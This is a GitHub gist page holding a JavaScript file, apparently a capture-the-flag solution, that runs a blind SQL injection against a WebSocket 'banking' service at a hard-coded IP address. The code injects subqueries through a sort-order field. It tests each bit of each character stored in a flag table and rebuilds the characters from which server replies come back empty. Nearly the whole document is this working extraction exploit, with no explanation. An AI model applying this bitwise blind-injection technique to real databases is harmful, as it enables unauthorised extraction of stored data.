Skip to content

Instantly share code, notes, and snippets.

/flag_read.js Secret

Created May 26, 2013 15:35
Show Gist options
  • Save anonymous/d5306be1e881126f5659 to your computer and use it in GitHub Desktop.
Save anonymous/d5306be1e881126f5659 to your computer and use it in GitHub Desktop.
var count = 0;
var character = 0;
var handleLoad2 = function() {
ws = new WebSocket("ws://1.234.27.139:38090/banking");
ws.onopen = function(){
console.log("opened.");
ws_ready = 1;
}
ws.onclose = function(){
console.log("closed!");
}
ws.onmessage = function(evt){
var res = (evt.data == '{"c":"list","m":"[]"}');
if (res) {
character += Math.pow(2, count);
}
count++;
if (count == 8) {
console.log(String.fromCharCode(character));
count = 0;
}
}
}
var get_letter = function(limit_id, letter_id) {
character = 0;
count = 0;
for(var i = 0; i < 8; ++i) {
var x = Math.pow(2, i);
var payload = "desc, (select t.flag from (select flag from flag_db.flag_tbl limit " + limit_id + ",1) t where ord(substring(t.flag," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";
listing("balance", payload);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment